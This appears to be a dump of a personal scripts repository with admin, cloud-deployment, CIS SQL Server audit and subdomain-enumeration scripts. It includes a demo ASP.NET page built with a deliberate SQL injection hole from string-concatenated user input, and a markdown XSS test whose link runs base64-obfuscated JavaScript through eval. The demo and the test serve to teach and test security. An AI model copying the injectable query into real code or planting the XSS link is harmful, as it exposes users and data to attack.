([string]($SystemAccess.NewAdministratorName).Replace('"','').trim()) 131 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name RenameGuest -DisplayName 'Rename guest account' -RawValue ([string]($SystemAccess.NewGuestName).Replace('"','').trim()) -Value ([string]($SystemAccess.NewGuestName).Replace('"','').trim()) 132 | 133 | 134 | # Output cleaned password policy 135 | $FinalOutput 136 | 137 | # Clean up remove exported policy 138 | Remove-Item $ExportedPolicy 139 | }else{ 140 | 141 | # Handle secedit error 142 | Write-Error "secedit failed to run - $(([ComponentModel.Win32Exception]$LASTEXITCODE).Message)" -TargetObject secedit -ErrorId $LASTEXITCODE 143 | 144 | } -------------------------------------------------------------------------------- /SQL Injection Example/CreateDatabase.sql: -------------------------------------------------------------------------------- 1 | USE [master] 2 | GO 3 | 4 | /****** Object: Database [Clients] Script Date: 19/10/2016 22:11:34 ******/ 5 | CREATE DATABASE [Clients] 6 | CONTAINMENT = NONE 7 | ON PRIMARY 8 | ( NAME = N'Clients', FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\DATA\Clients.mdf' , SIZE = 16384KB , MAXSIZE = UNLIMITED, FILEGROWTH = 1024KB ) 9 | LOG ON 10 | ( NAME = N'Clients_log', FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\DATA\Clients_log.ldf' , SIZE = 69760KB , MAXSIZE = 2048GB , FILEGROWTH = 10%) 11 | GO 12 | 13 | ALTER DATABASE [Clients] SET COMPATIBILITY_LEVEL = 120 14 | GO 15 | 16 | IF (1 = FULLTEXTSERVICEPROPERTY('IsFullTextInstalled')) 17 | begin 18 | EXEC [Clients].[dbo].[sp_fulltext_database] @action = 'enable' 19 | end 20 | GO 21 | 22 | ALTER DATABASE [Clients] SET ANSI_NULL_DEFAULT OFF 23 | GO 24 | 25 | ALTER DATABASE [Clients] SET ANSI_NULLS OFF 26 | GO 27 | 28 | ALTER DATABASE [Clients] SET ANSI_PADDING OFF 29 | GO 30 | 31 | ALTER DATABASE [Clients] SET ANSI_WARNINGS OFF 32 | GO 33 | 34 | ALTER DATABASE [Clients] SET ARITHABORT OFF 35 | GO 36 | 37 | ALTER DATABASE [Clients] SET AUTO_CLOSE OFF 38 | GO 39 | 40 | ALTER DATABASE [Clients] SET AUTO_SHRINK OFF 41 | GO 42 | 43 | ALTER DATABASE [Clients] SET AUTO_UPDATE_STATISTICS ON 44 | GO 45 | 46 | ALTER DATABASE [Clients] SET CURSOR_CLOSE_ON_COMMIT OFF 47 | GO 48 | 49 | ALTER DATABASE [Clients] SET CURSOR_DEFAULT GLOBAL 50 | GO 51 | 52 | ALTER DATABASE [Clients] SET CONCAT_NULL_YIELDS_NULL OFF 53 | GO 54 | 55 | ALTER DATABASE [Clients] SET NUMERIC_ROUNDABORT OFF 56 | GO 57 | 58 | ALTER DATABASE [Clients] SET QUOTED_IDENTIFIER OFF 59 | GO 60 | 61 | ALTER DATABASE [Clients] SET RECURSIVE_TRIGGERS OFF 62 | GO 63 | 64 | ALTER DATABASE [Clients] SET DISABLE_BROKER 65 | GO 66 | 67 | ALTER DATABASE [Clients] SET AUTO_UPDATE_STATISTICS_ASYNC OFF 68 | GO 69 | 70 | ALTER DATABASE [Clients] SET DATE_CORRELATION_OPTIMIZATION OFF 71 | GO 72 | 73 | ALTER DATABASE [Clients] SET TRUSTWORTHY OFF 74 | GO 75 | 76 | ALTER DATABASE [Clients] SET ALLOW_SNAPSHOT_ISOLATION OFF 77 | GO 78 | 79 | ALTER DATABASE [Clients] SET PARAMETERIZATION SIMPLE 80 | GO 81 | 82 | ALTER DATABASE [Clients] SET READ_COMMITTED_SNAPSHOT OFF 83 | GO 84 | 85 | ALTER DATABASE [Clients] SET HONOR_BROKER_PRIORITY OFF 86 | GO 87 | 88 | ALTER DATABASE [Clients] SET RECOVERY SIMPLE 89 | GO 90 | 91 | ALTER DATABASE [Clients] SET MULTI_USER 92 | GO 93 | 94 | ALTER DATABASE [Clients] SET PAGE_VERIFY CHECKSUM 95 | GO 96 | 97 | ALTER DATABASE [Clients] SET DB_CHAINING OFF 98 | GO 99 | 100 | ALTER DATABASE [Clients] SET FILESTREAM( NON_TRANSACTED_ACCESS = OFF ) 101 | GO 102 | 103 | ALTER DATABASE [Clients] SET TARGET_RECOVERY_TIME = 0 SECONDS 104 | GO 105 | 106 | ALTER DATABASE [Clients] SET DELAYED_DURABILITY = DISABLED 107 | GO 108 | 109 | ALTER DATABASE [Clients] SET READ_WRITE 110 | GO 111 | 112 | -------------------------------------------------------------------------------- /SQL Injection Example/CreateTable.sql: -------------------------------------------------------------------------------- 1 | USE [Clients] 2 | GO 3 | 4 | /****** Object: Table [dbo].[Data] Script Date: 19/10/2016 22:11:59 ******/ 5 | SET ANSI_NULLS ON 6 | GO 7 | 8 | SET QUOTED_IDENTIFIER ON 9 | GO 10 | 11 | CREATE TABLE [dbo].[Data]( 12 | [ID] [int] IDENTITY(1,1) NOT NULL, 13 | [GivenName] [nvarchar](max) NULL, 14 | [Initials] [nvarchar](max) NULL, 15 | [Surname] [nvarchar](max) NULL, 16 | [Office] [nvarchar](max) NULL, 17 | [StreetAddress] [nvarchar](max) NULL, 18 | [City] [nvarchar](max) NULL, 19 | [PostalCode] [nvarchar](max) NULL, 20 | [Country] [nvarchar](max) NULL, 21 | [EmailAddress] [nvarchar](max) NULL, 22 | [OfficePhone] [nvarchar](max) NULL, 23 | [Title] [nvarchar](max) NULL, 24 | [Company] [nvarchar](max) NULL, 25 | [Description] [nvarchar](max) NULL, 26 | [HomePage] [nvarchar](max) NULL, 27 | CONSTRAINT [PK_Data] PRIMARY KEY CLUSTERED 28 | ( 29 | [ID] ASC 30 | )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] 31 | ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] 32 | 33 | GO 34 | 35 | -------------------------------------------------------------------------------- /SQL Injection Example/Default.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="CS" %> 2 | 3 | 4 | 5 | 6 | 7 | 8 | 36 | 37 | 38 |

Client Database Search

39 |
40 |

Last name search:

41 |

42 | 43 |

44 | 45 |
46 | 47 | 48 | -------------------------------------------------------------------------------- /SQL Injection Example/Default.aspx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Web; 4 | using System.Web.UI; 5 | using System.Web.UI.WebControls; 6 | using System.Data; 7 | using System.Text; 8 | using System.Configuration; 9 | using System.Data.SqlClient; 10 | 11 | public partial class CS : System.Web.UI.Page 12 | { 13 | protected void Page_Load(object sender, EventArgs e) 14 | { 15 | if (this.IsPostBack) 16 | { 17 | //Populating a DataTable from database. 18 | DataTable dt = this.GetData(); 19 | 20 | if(dt != null) 21 | { 22 | //Building an HTML string. 23 | StringBuilder html = new StringBuilder(); 24 | 25 | //Table start. 26 | html.Append(""); 27 | 28 | //Building the Header row. 29 | html.Append(""); 30 | foreach (DataColumn column in dt.Columns) 31 | { 32 | html.Append(""); 35 | } 36 | html.Append(""); 37 | 38 | //Building the Data rows. 39 | foreach (DataRow row in dt.Rows) 40 | { 41 | html.Append(""); 42 | foreach (DataColumn column in dt.Columns) 43 | { 44 | html.Append(""); 47 | } 48 | html.Append(""); 49 | } 50 | 51 | //Table end. 52 | html.Append("
"); 33 | html.Append(column.ColumnName); 34 | html.Append("
"); 45 | html.Append(row[column.ColumnName]); 46 | html.Append("
"); 53 | 54 | //Append the HTML string to Placeholder. 55 | PlaceHolder1.Controls.Add(new LiteralControl(html.ToString())); 56 | } 57 | } 58 | } 59 | 60 | private DataTable GetData() 61 | { 62 | string WhereText = SearchLastName.Text; 63 | string constr = ConfigurationManager.ConnectionStrings["constr"].ConnectionString; 64 | using (SqlConnection con = new SqlConnection(constr)) 65 | { 66 | try 67 | { 68 | using (SqlCommand cmd = new SqlCommand("SELECT TOP 10 Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE '%" + WhereText + "%'")) 69 | { 70 | using (SqlDataAdapter sda = new SqlDataAdapter()) 71 | { 72 | cmd.Connection = con; 73 | sda.SelectCommand = cmd; 74 | using (DataTable dt = new DataTable()) 75 | { 76 | sda.Fill(dt); 77 | return dt; 78 | } 79 | } 80 | } 81 | } 82 | catch (SqlException e) 83 | { 84 | StringBuilder html = new StringBuilder(); 85 | html.Append("

FAILED - " + e.Message + "

"); 86 | PlaceHolder1.Controls.Add(new LiteralControl(html.ToString())); 87 | return null; 88 | } 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /SQL Injection Example/web.config: -------------------------------------------------------------------------------- 1 |  2 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /SQL Server sys configurations checks.sql: -------------------------------------------------------------------------------- 1 | -- All taken from this benchmark https://benchmarks.cisecurity.org/tools2/sqlserver/CIS_Microsoft_SQL_Server_2014_Benchmark_v1.2.0.pdf 2 | SELECT '2.1' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'ad hoc distributed queries' 3 | UNION 4 | SELECT '2.2' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'clr enabled' 5 | UNION 6 | SELECT '2.3' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Cross db ownership chaining' 7 | UNION 8 | SELECT '2.4' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Database Mail XPs' 9 | UNION 10 | SELECT '2.5' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Ole Automation Procedures' 11 | UNION 12 | SELECT '2.6' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Remote access' 13 | UNION 14 | SELECT '2.7' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Remote admin connections' AND SERVERPROPERTY('IsClustered') = 0 15 | UNION 16 | SELECT '2.8' as 'CIS Benchmark Ref', name, CAST(value as int) as value_configured, CAST(value_in_use as int) as value_in_use FROM sys.configurations WHERE name = 'Scan for startup procs' 17 | 18 | 19 | --Will display nothing if no databases are set to ON 20 | SELECT '2.9' as 'CIS Benchmark Ref', name FROM sys.databases WHERE is_trustworthy_on = 1 AND name != 'msdb' AND state = 0 ; 21 | 22 | 23 | --very rarely works 24 | DECLARE @getValue INT; 25 | EXEC master..xp_instance_regread 26 | @rootkey = N'HKEY_LOCAL_MACHINE', 27 | @key = N'SOFTWARE\Microsoft\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib', 28 | @value_name = N'HideInstance', 29 | @value = @getValue OUTPUT; 30 | SELECT '2.12' as 'CIS Benchmark Ref', @getValue; 31 | 32 | -- check if sa renamed and is disabled 33 | SELECT '2.13 & 2.14' as 'CIS Benchmark Ref', name, is_disabled 34 | FROM sys.server_principals 35 | WHERE sid = 0x01; 36 | 37 | --is XP command disabled - ref 2.15 38 | EXECUTE sp_configure 'show advanced options',1; 39 | RECONFIGURE WITH OVERRIDE; 40 | EXECUTE sp_configure 'xp_cmdshell'; 41 | 42 | 43 | SELECT '2.16' as 'CIS Benchmark Ref', name, containment, containment_desc, is_auto_close_on 44 | FROM sys.databases 45 | WHERE containment <> 0 and is_auto_close_on = 1; 46 | 47 | --ensure no other account has been created with a name of 'sa' 48 | SELECT '2.17' as 'CIS Benchmark Ref', sid, name, 49 | FROM sys.server_principals 50 | WHERE L.name = 'sa' 51 | AND L.sid <> 0x01; 52 | 53 | --ensure windows auth is in use - ref 3.1 54 | xp_loginconfig 'login mode'; 55 | 56 | --no rows should be returned for this one 57 | SELECT '3.2' as 'CIS Benchmark Ref', DB_NAME() AS DBName, dpr.name, dpe.permission_name 58 | FROM sys.database_permissions dpe 59 | JOIN sys.database_principals dpr 60 | ON dpe.grantee_principal_id=dpr.principal_id 61 | WHERE dpr.name='guest' 62 | AND dpe.permission_name='CONNECT'; 63 | 64 | --orphaned users - ref 3.3 65 | EXEC sp_change_users_login @Action='Report'; 66 | 67 | SELECT '3.4' as 'CIS Benchmark Ref', name AS DBUser 68 | FROM sys.database_principals 69 | WHERE name NOT IN ('dbo','Information_Schema','sys','guest') 70 | AND type IN ('U','S','G') 71 | AND authentication_type = 2; 72 | 73 | 74 | SELECT '4.2' as 'CIS Benchmark Ref', l.[name], 'sysadmin membership' AS 'Access_Method' 75 | FROM sys.sql_logins AS l 76 | WHERE IS_SRVROLEMEMBER('sysadmin',name) = 1 77 | AND l.is_expiration_checked <> 1 78 | UNION ALL 79 | SELECT l.[name], 'CONTROL SERVER' AS 'Access_Method' 80 | FROM sys.sql_logins AS l 81 | JOIN sys.server_permissions AS p 82 | ON l.principal_id = p.grantee_principal_id 83 | WHERE p.type = 'CL' AND p.state IN ('G', 'W') 84 | AND l.is_expiration_checked <> 1; 85 | 86 | SELECT '4.3' as 'CIS Benchmark Ref', name, is_disabled 87 | FROM sys.sql_logins 88 | WHERE is_policy_checked = 0; 89 | 90 | --very rarely works - ref 5.1 91 | DECLARE @NumErrorLogs int; 92 | EXEC master.sys.xp_instance_regread 93 | N'HKEY_LOCAL_MACHINE', 94 | N'Software\Microsoft\MSSQLServer\MSSQLServer', 95 | N'NumErrorLogs', 96 | @NumErrorLogs OUTPUT; 97 | SELECT '5.1' as 'CIS Benchmark Ref', ISNULL(@NumErrorLogs, -1) AS [NumberOfLogFiles]; 98 | 99 | 100 | SELECT '5.2' as 'CIS Benchmark Ref', name, 101 | CAST(value as int) as value_configured, 102 | CAST(value_in_use as int) as value_in_use 103 | FROM sys.configurations 104 | WHERE name = 'Default trace enabled'; 105 | 106 | -- ref 5.3 should say failure 107 | XP_loginconfig 'audit level'; 108 | 109 | 110 | SELECT '5.4' as 'CIS Benchmark Ref', S.name AS 'Audit Name' 111 | , CASE S.is_state_enabled 112 | WHEN 1 THEN 'Y' 113 | WHEN 0 THEN 'N' END AS 'Audit Enabled' 114 | , S.type_desc AS 'Write Location' 115 | , SA.name AS 'Audit Specification Name' 116 | , CASE SA.is_state_enabled 117 | WHEN 1 THEN 'Y' 118 | WHEN 0 THEN 'N' END AS 'Audit Specification Enabled' 119 | , SAD.audit_action_name 120 | , SAD.audited_result 121 | FROM sys.server_audit_specification_details AS SAD 122 | JOIN sys.server_audit_specifications AS SA 123 | ON SAD.server_specification_id = SA.server_specification_id 124 | JOIN sys.server_audits AS S 125 | ON SA.audit_guid = S.audit_guid 126 | WHERE SAD.audit_action_id IN ('CNAU', 'LGFL', 'LGSD'); 127 | 128 | 129 | SELECT '6.2' as 'CIS Benchmark Ref', name, 130 | permission_set_desc 131 | FROM sys.assemblies 132 | where is_user_defined = 1; 133 | 134 | 135 | SELECT '7.1' as 'CIS Benchmark Ref', db_name() AS Database_Name, name AS Key_Name 136 | FROM sys.symmetric_keys 137 | WHERE algorithm_desc NOT IN ('AES_128','AES_192','AES_256') 138 | AND db_id() > 4; 139 | 140 | 141 | 142 | SELECT '7.2' as 'CIS Benchmark Ref', db_name() AS Database_Name, name AS Key_Name 143 | FROM sys.asymmetric_keys 144 | WHERE key_length < 2048 145 | AND db_id() > 4; -------------------------------------------------------------------------------- /Set-ADPhoto.ps1: -------------------------------------------------------------------------------- 1 | Function Set-ADPhoto { 2 | param($Picture,$Username) 3 | 4 | $Pic = [byte[]](Get-Content $Picture -Encoding byte) 5 | $AD = [ADSI]$(([adsisearcher]"(samaccountname=$Username)").findone().getdirectoryentry().path) 6 | $AD.thumbnailPhoto.Add($Pic) 7 | $AD.SetInfo() 8 | 9 | } 10 | -------------------------------------------------------------------------------- /Sub Domain Enumeration.ps1: -------------------------------------------------------------------------------- 1 | $Domain = 'example.com' 2 | 3 | if(-not (Test-Path .\subdomains.txt)){ 4 | Write-Progress -Activity 'Enumerating Sub Domains' -CurrentOperation 'Downloading Sub Domain Wordlist' 5 | wget 'https://raw.githubusercontent.com/guelfoweb/knock/knock3/knockpy/wordlist/wordlist.txt' -OutFile subdomains.txt 6 | } 7 | 8 | $WordList = Get-Content .\subdomains.txt 9 | 10 | $DomainPercentage = 100 / $WordList.Count 11 | Write-Progress -Activity 'Enumerating Sub Domains' -Status 'Building Sub Domains' -Id 1 -PercentComplete 0 12 | $i = 1 13 | $Domains = $WordList | %{ Write-Progress -Id 1 -Activity 'Enumerating Sub Domains' -Status 'Building Sub Domains' -CurrentOperation "$($_).$($Domain)" -PercentComplete ($i * $DomainPercentage);$i++; "$($_).$($Domain)" } 14 | 15 | $i = 1 16 | $Results = $Domains | %{ $Name = $_; Write-Progress -Id 1 -Activity 'Enumerating Sub Domains' -Status 'Testing Sub Domains' -CurrentOperation "Resolving DNS for '$Name'" -PercentComplete ($i * $DomainPercentage);$i++; Resolve-DnsName $Name -ErrorAction SilentlyContinue | ?{ $_.Name -eq $Name } } 17 | 18 | $Filtered = $Results | Where IP4Address -ne $Null | Select Name, IPAddress -Unique 19 | $Filtered | Export-Csv "$Domain-SubDomains.csv" -NoTypeInformation 20 | 21 | $Filtered -------------------------------------------------------------------------------- /UpdateIPs.py: -------------------------------------------------------------------------------- 1 | import requests, json 2 | 3 | # CloudFlare Config 4 | api_key = '-----' 5 | api_email = '-----' 6 | api_zone = '-----' 7 | api_dns = '-----' 8 | sub_domain = '-----' 9 | 10 | # DigitalOcean Config 11 | FWID = '-----' 12 | FWDroplets = ['-----','-----','-----'] 13 | FWName = '-----' 14 | APIKey = '-----' 15 | 16 | # get the current external IP 17 | extip = requests.get('https://api.ipify.org/') 18 | extip = extip.content 19 | print('[*] Your external IP is ' + extip + '.') 20 | 21 | # grab IPv4 list from cloudflare 22 | response = requests.get('https://www.cloudflare.com/ips-v4') 23 | if response.status_code == requests.codes.ok: 24 | list = response.content 25 | CFlist = [s.strip() for s in list.splitlines()] 26 | print('[+] Obtained an updated list of CloudFlare IPv4 ranges.') 27 | else: 28 | print('[-] Failed to obtain CloudFlare IPv4 ranges.') 29 | raise SystemExit(0) 30 | 31 | # DigitalOcean FW data 32 | FWData = { 33 | "name": FWName, 34 | "droplet_ids": FWDroplets, 35 | "inbound_rules": [ 36 | { 37 | "ports": "22", 38 | "protocol": "tcp", 39 | "sources": { 40 | "addresses": [ extip ] 41 | } 42 | }, 43 | { 44 | "ports": "80", 45 | "protocol": "tcp", 46 | "sources": { 47 | "addresses": CFlist 48 | } 49 | }, 50 | { 51 | "ports": "443", 52 | "protocol": "tcp", 53 | "sources": { 54 | "addresses": CFlist 55 | } 56 | } 57 | ], 58 | "tags": [] 59 | } 60 | 61 | 62 | # set the current IP on DigitalOcean 63 | url = 'https://api.digitalocean.com/v2/firewalls/' + FWID 64 | head = { 65 | 'Authorization' : 'Bearer ' + APIKey, 66 | 'Content-Type' : 'application/json' 67 | } 68 | response = requests.put(url, json=FWData, headers=head) 69 | if response.status_code == requests.codes.ok: 70 | print('[+] External IP and CloudFlare IPv4 list updated on DigitalOcean.') 71 | else: 72 | print('[-] Failed to update external IP and CloudFlare IPv4 list on DigitalOcean.') 73 | raise SystemExit(0) 74 | 75 | # set the current IP on CloudFlare 76 | url = 'https://api.cloudflare.com/client/v4/zones/' + api_zone + '/dns_records/' + api_dns 77 | data = { 78 | 'type' : 'A', 79 | 'name' : sub_domain, 80 | 'content' : extip, 81 | 'ttl' : 120, 82 | 'proxied' : False 83 | } 84 | head = { 85 | 'X-Auth-Email' : api_email, 86 | 'X-Auth-Key' : api_key, 87 | 'Content-Type' : 'application/json' 88 | } 89 | response = requests.put(url, json=data, headers=head) 90 | 91 | if response.status_code == requests.codes.ok: 92 | print('[+] External IP updated on Cloudflare.') 93 | else: 94 | print('[-] Failed to update external IP on Cloudflare.') 95 | -------------------------------------------------------------------------------- /add GPL v3 header/Add-GPLHeader.ps1: -------------------------------------------------------------------------------- 1 | Function Add-GPLHeader 2 | { 3 | param($File,$Name,$Source) 4 | 5 | $Header = @" 6 | <# 7 | This file is part of {{NAME}} available from {{SOURCE}} 8 | Created by Liam Glanfield @OneLogicalMyth 9 | 10 | {{NAME}} is free software: you can redistribute it and/or modify 11 | it under the terms of the GNU General Public License as published by 12 | the Free Software Foundation, either version 3 of the License, or 13 | (at your option) any later version. 14 | 15 | {{NAME}} is distributed in the hope that it will be useful, 16 | but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | GNU General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with {{NAME}}. If not, see . 22 | #> 23 | 24 | "@ 25 | 26 | 27 | $Header = $Header.Replace('{{NAME}}',$Name).Replace('{{SOURCE}}',$Source) 28 | 29 | $Header + (Get-Content $File -Raw) | Out-File $File 30 | 31 | 32 | 33 | } -------------------------------------------------------------------------------- /digital_ocean/CreateWordpressSite.py: -------------------------------------------------------------------------------- 1 | import requests as r 2 | import json, time, paramiko 3 | from os.path import abspath 4 | 5 | # params 6 | project = "f6e4fedb-bc42-40ac-8eb5-6e2a6245ed6c" # just a random GUID for example, not live 7 | droplet_name = "example.com" 8 | ssh_private_key = abspath(".ssh/id_rsa") 9 | APIKey = 'Bearer API_KEY_HERE' 10 | 11 | # basic header setup 12 | Headers = { "Content-Type": "application/json", "Authorization": APIKey } 13 | 14 | # grab the SSH keys to use 15 | print "[*] Grabbing the SSH keys" 16 | ssh_keys = [] 17 | ssh_key_response = r.get('https://api.digitalocean.com/v2/account/keys', headers=Headers) 18 | for sk in ssh_key_response.json()['ssh_keys']: 19 | ssh_keys.append(sk['id']) 20 | 21 | # from the request - creates an 18.04 LTS LEMP BOX (image id: 38799526) 22 | Request = { 23 | "name": droplet_name, 24 | "region": "lon1", 25 | "size": "s-1vcpu-1gb", 26 | "image": "38799526", 27 | "ssh_keys": ssh_keys, 28 | "backups": False, 29 | "ipv6": False, 30 | "user_data": None, 31 | "private_networking": False, 32 | "volumes": None, 33 | "tags": ["WordPress"] 34 | } 35 | 36 | # create the droplet 37 | print "[*] Creating the droplet 'LEMP Ubuntu 18.04 LTS'" 38 | create_response = r.post('https://api.digitalocean.com/v2/droplets', json=Request, headers=Headers) 39 | droplet_id = create_response.json()["droplet"]["id"] 40 | print "[*] Droplet created with ID {}".format(droplet_id) 41 | time.sleep(2) 42 | 43 | # Move droplet to project 44 | print "[*] Assigning the droplet to project {}".format(project) 45 | Request = { 46 | "resources": ['do:droplet:{}'.format(droplet_id)] 47 | } 48 | response = r.post('https://api.digitalocean.com/v2/projects/{}/resources'.format(project), headers=Headers, json=Request) 49 | 50 | # wait for droplet to build 51 | while True: 52 | 53 | res = r.get('https://api.digitalocean.com/v2/droplets/{}'.format(droplet_id), headers=Headers) 54 | status = res.json()["droplet"]["status"] 55 | droplet_info = res.json()["droplet"] 56 | 57 | # grab the IP address of the public interface 58 | for net in droplet_info["networks"]["v4"]: 59 | if net['type'] == "public": 60 | droplet_ip = net['ip_address'] 61 | break 62 | 63 | if status == "active": 64 | break 65 | 66 | print "[*] Waiting for droplet {} to finish building".format(droplet_name) 67 | time.sleep(45) 68 | 69 | # droplet finished building 70 | print "[*] Droplet has been created: public IP is {}".format(droplet_ip) 71 | 72 | # create SSH object and accept host key 73 | DropletSSH = paramiko.SSHClient() 74 | DropletSSH.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 75 | 76 | # connect 77 | print "[*] Now configuring WordPress, attempting to SSH into the droplet" 78 | time.sleep(10) # pause for 10 seconds to let the droplet boot 79 | DropletSSH.connect(droplet_ip, username="root", key_filename=ssh_private_key) 80 | 81 | # download wordpress ready for use 82 | commands = "wget https://wordpress.org/latest.tar.gz\n" 83 | commands += "rm -rf /var/www/html\n" 84 | commands += "tar xzf latest.tar.gz\n" 85 | commands += "mv ./wordpress /var/www/html\n" 86 | commands += "chmod www-data:www-data -R /var/www/html\n" 87 | stdin, stdout, stderr = DropletSSH.exec_command(commands) 88 | print stdout.read() 89 | 90 | # todo: configure wordpress and create database 91 | print "[*] WordPress installed ok" 92 | 93 | # logout 94 | DropletSSH.close() 95 | -------------------------------------------------------------------------------- /gencerts.sh: -------------------------------------------------------------------------------- 1 | echo "creating public key" 2 | openssl pkcs12 -in $1 -clcerts -nokeys -out $2.cer 3 | echo "creating private key" 4 | openssl pkcs12 -in $1 -nocerts -nodes -out $2.key 5 | echo "creating ca key" 6 | openssl pkcs12 -in $1 -out $2.crt -nodes -nokeys -cacerts 7 | -------------------------------------------------------------------------------- /get_rockyou_pass.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneLogicalMyth/Random-Scripts/3b2907eae16ba7a81e5786ce00be2dc1d4316f33/get_rockyou_pass.sh -------------------------------------------------------------------------------- /markdown xss test.md: -------------------------------------------------------------------------------- 1 | [Harlem Shake](javascript:eval(atob('KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gYygpe3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxpbmsiKTtlLnNldEF0dHJpYnV0ZSgidHlwZSIsInRleHQvY3NzIik7ZS5zZXRBdHRyaWJ1dGUoInJlbCIsInN0eWxlc2hlZXQiKTtlLnNldEF0dHJpYnV0ZSgiaHJlZiIsZik7ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIixsKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGUpfWZ1bmN0aW9uIGgoKXt2YXIgZT1kb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGwpO2Zvcih2YXIgdD0wO3Q8ZS5sZW5ndGg7dCsrKXtkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVbdF0pfX1mdW5jdGlvbiBwKCl7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIixhKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGUpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGUpfSwxMDApfWZ1bmN0aW9uIGQoZSl7cmV0dXJue2hlaWdodDplLm9mZnNldEhlaWdodCx3aWR0aDplLm9mZnNldFdpZHRofX1mdW5jdGlvbiB2KGkpe3ZhciBzPWQoaSk7cmV0dXJuIHMuaGVpZ2h0PmUmJnMuaGVpZ2h0PG4mJnMud2lkdGg+dCYmcy53aWR0aDxyfWZ1bmN0aW9uIG0oZSl7dmFyIHQ9ZTt2YXIgbj0wO3doaWxlKCEhdCl7bis9dC5vZmZzZXRUb3A7dD10Lm9mZnNldFBhcmVudH1yZXR1cm4gbn1mdW5jdGlvbiBnKCl7dmFyIGU9ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50O2lmKCEhd2luZG93LmlubmVyV2lkdGgpe3JldHVybiB3aW5kb3cuaW5uZXJIZWlnaHR9ZWxzZSBpZihlJiYhaXNOYU4oZS5jbGllbnRIZWlnaHQpKXtyZXR1cm4gZS5jbGllbnRIZWlnaHR9cmV0dXJuIDB9ZnVuY3Rpb24geSgpe2lmKHdpbmRvdy5wYWdlWU9mZnNldCl7cmV0dXJuIHdpbmRvdy5wYWdlWU9mZnNldH1yZXR1cm4gTWF0aC5tYXgoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCxkb2N1bWVudC5ib2R5LnNjcm9sbFRvcCl9ZnVuY3Rpb24gRShlKXt2YXIgdD1tKGUpO3JldHVybiB0Pj13JiZ0PD1iK3d9ZnVuY3Rpb24gUygpe3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImF1ZGlvIik7ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIixsKTtlLnNyYz1pO2UubG9vcD1mYWxzZTtlLmFkZEV2ZW50TGlzdGVuZXIoImNhbnBsYXkiLGZ1bmN0aW9uKCl7c2V0VGltZW91dChmdW5jdGlvbigpe3goayl9LDUwMCk7c2V0VGltZW91dChmdW5jdGlvbigpe04oKTtwKCk7Zm9yKHZhciBlPTA7ZTxPLmxlbmd0aDtlKyspe1QoT1tlXSl9fSwxNTUwMCl9LHRydWUpO2UuYWRkRXZlbnRMaXN0ZW5lcigiZW5kZWQiLGZ1bmN0aW9uKCl7TigpO2goKX0sdHJ1ZSk7ZS5pbm5lckhUTUw9IiA8cD5JZiB5b3UgYXJlIHJlYWRpbmcgdGhpcywgaXQgaXMgYmVjYXVzZSB5b3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCB0aGUgYXVkaW8gZWxlbWVudC4gV2UgcmVjb21tZW5kIHRoYXQgeW91IGdldCBhIG5ldyBicm93c2VyLjwvcD4gPHA+Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGUpO2UucGxheSgpfWZ1bmN0aW9uIHgoZSl7ZS5jbGFzc05hbWUrPSIgIitzKyIgIitvfWZ1bmN0aW9uIFQoZSl7ZS5jbGFzc05hbWUrPSIgIitzKyIgIit1W01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSp1Lmxlbmd0aCldfWZ1bmN0aW9uIE4oKXt2YXIgZT1kb2N1bWVudC5nZXRFbGVtZW50c0J